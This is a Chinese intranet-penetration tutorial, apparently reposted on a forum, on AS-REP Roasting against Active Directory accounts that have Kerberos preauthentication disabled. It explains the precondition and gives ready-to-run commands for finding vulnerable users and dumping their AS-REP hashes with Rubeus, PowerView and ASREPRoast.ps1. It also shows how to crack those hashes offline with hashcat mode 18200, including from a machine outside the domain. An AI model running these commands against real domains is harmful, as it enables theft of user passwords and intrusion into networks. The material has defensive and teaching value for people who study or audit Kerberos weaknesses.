搜索

[26987] 2020-05-11_内网渗透（三）AS-REPRoasting攻击

文档创建者：s7ckTeam
浏览次数：47
最后更新：2025-01-19
2020-05-11_内网渗透（三）AS-REPRoasting攻击 内 网 渗 透 （ 三 ）   |   A S - R E P   R o a s t i n g 攻 击 M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 5 - 1 1 以 下 文 章 来 源 于 安 全 加   ， 作 者 谢 公 子 A S - R E P   R o a s t i n g 攻 击 攻 击 A S - R E P   R o a s t i n g 是 一 种 对 用 户 账 号 进 行 离 线 爆 破 的 攻 击 方 式 。 但 是 该 攻 击 方 式 利 用 比 较 局 限 ， 因 为 其 需 要 用 户 账 号 设 置   " D o   n o t   r e q u i r e K e r b e r o s   p r e a u t h e n t i c a t i o n ( 不 需 要 k e r b e r o s 预 身 份 验 证 )   "   。 而 该 属 性 默 认 是 没 有 勾 选 上 的 。 预 身 份 验 证 是 K e r b e r o s 身 份 验 证 的 第 一 步 ( A S _ R E Q   &   A S _ R E P ) ， 它 的 主 要 作 用 是 防 止 密 码 脱 机 爆 破 。 默 认 情 况 下 ， 预 身 份 验 证 是 开 启 的 ， K D C 会 记 录 密 码 错 误 次 数 ， 防 止 在 线 爆 破 。 关 于   A S _ R E Q   &   A S _ R E P ： 域 内 认 证 之 K e r b e r o s 协 议 详 解 。 当 关 闭 了 预 身 份 验 证 后 ， 攻 击 者 可 以 使 用 指 定 用 户 去 请 求 票 据 ， 此 时 域 控 不 会 作 任 何 验 证 就 将   T G T 票 据   和   该 用 户 H a s h 加 密 的 S e s s i o n   K e y 返 回 。 因 此 ， 攻 击 者 就 可 以 对 获 取 到 的   用 户 H a s h 加 密 的 S e s s i o n   K e y 进 行 离 线 破 解 ， 如 果 破 解 成 功 ， 就 能 得 到 该 指 定 用 户 的 密 码 明 文 。 A S - R E P   R o a s t i n g 攻 击 条 件 攻 击 条 件 域 用 户 设 置 了   “   D o   n o t   r e q u i r e   K e r b e r o s   p r e a u t h e n t i c a t i o n ( 不 需 要 k e r b e r o s 预 身 份 验 证 )   ” 需 要 一 台 可 与 K D C 进 行 通 信 的 主 机 / 用 户 安 全 加 安 全 加   . 安 世 加   专 注 于 信 息 安 全 业 ， 通 过 互 联 平 台 、 线 下 沙 、 培 训 、 峰 会 、 才 招 聘 等 多 种 形 式 ， 培 养 安 全 才 ， 提 升 业 的 整 体 素 质 ， 助 推 安 全 态 圈 的 健 康 发 展 。
普 通 域 用 户 下 普 通 域 用 户 下 方 法 一 ： 使 用   R u b e u s . e x e 1 ： 使 用 r u b e u s . e x e 获 得 H a s h R u b e u s . e x e   a s r e p r o a s t
2 ： 使 用 h a s h c a t 对 获 得 的 H a s h 进 行 爆 破 将 h a s h . t x t 里 面 的 除 H a s h 字 段 其 他 的 都 删 除 ， 复 制 到 h a s h c a t 目 录 下 ， 并 且 修 改 为 h a s h c a t 能 识 别 的 格 式 ， 在 $ k r b 5 a s r e p 后 面 添 加 $ 2 3 拼 接 。 然 后 使 用 以 下 命 令 爆 破   h a s h c a t 6 4 . e x e   - m   1 8 2 0 0   h a s h . t x t   p a s s . t x t   - - f o r c e
方 法 二 ： 使 用 p o w e r s h e l l 脚 本 1 ： 使 用 E m p i r e 下 的 p o w e r v i e w . p s 1 查 找 域 中 设 置 了   " 不 需 要 k e r b e r o s 预 身 份 验 证 "   的 用 户   I m p o r t - M o d u l e   . p o w e r v i e w . p s 1   G e t - D o m a i n U s e r   - P r e a u t h N o t R e q u i r e d
2 ： 使 用 A S R E P R o a s t . p s 1 获 取 A S - R E P 返 回 的 H a s h 3 ： 使 用 h a s h c a t 对 获 得 的 H a s h 进 行 爆 破 将 h a s h . t x t 复 制 到 h a s h c a t 目 录 下 ， 并 且 修 改 为 h a s h c a t 能 识 别 的 格 式 ， 在 $ k r b 5 a s r e p 后 面 添 加 $ 2 3 拼 接 。 然 后 使 用 以 下 命 令 爆 破 。 I m p o r t - M o d u l e   . A S R E P R o a s t . p s 1 G e t - A S R E P H a s h   - U s e r N a m e   h a c k 2   - D o m a i n   x i e . c o m   |   O u t - F i l e   - E n c o d i n g   A S C I I   h a s h . t x t h a s h c a t 6 4 . e x e   - m   1 8 2 0 0   h a s h . t x t   p a s s . t x t   - - f o r c e
非 域 内 机 器 非 域 内 机 器 1 ： 对 于 非 域 内 的 机 器 ， 无 法 通 过 L D A P 来 发 起 用 户 名 的 查 询 。 2 ： 所 以 要 想 获 取   " 不 需 要 k e r b e r o s 预 身 份 验 证 "   的 域 内 账 号 ， 只 能 通 过 枚 举 用 户 名 的 方 式 来 获 得 。 而 A S - R E P   H a s h 方 面 。 非 域 内 的 主 机 ， 只 要 能 和 D C 通 信 ， 便 可 以 获 取 到 。 使 用 G e t - A S R E P H a s h ， 通 过 指 定 S e r v e r 的 参 数 即 可 I m p o r t - M o d u l e   . A S R E P R o a s t . p s 1 G e t - A S R E P H a s h   - U s e r N a m e   h a c k 2   - D o m a i n   x i e . c o m   - S e r v e r   1 9 2 . 1 6 8 . 1 0 . 1 3 1   |   O u t - F i l e   - E n c o d i n g   A S C I I   h a s h . t x t
3 ： 获 取 到 H a s h 后 ， 使 用 h a s h c a t 对 其 爆 破 ， 和 上 面 一 样 ， 这 里 就 不 演 示 了 。 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 目 前 目 前 2 5 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理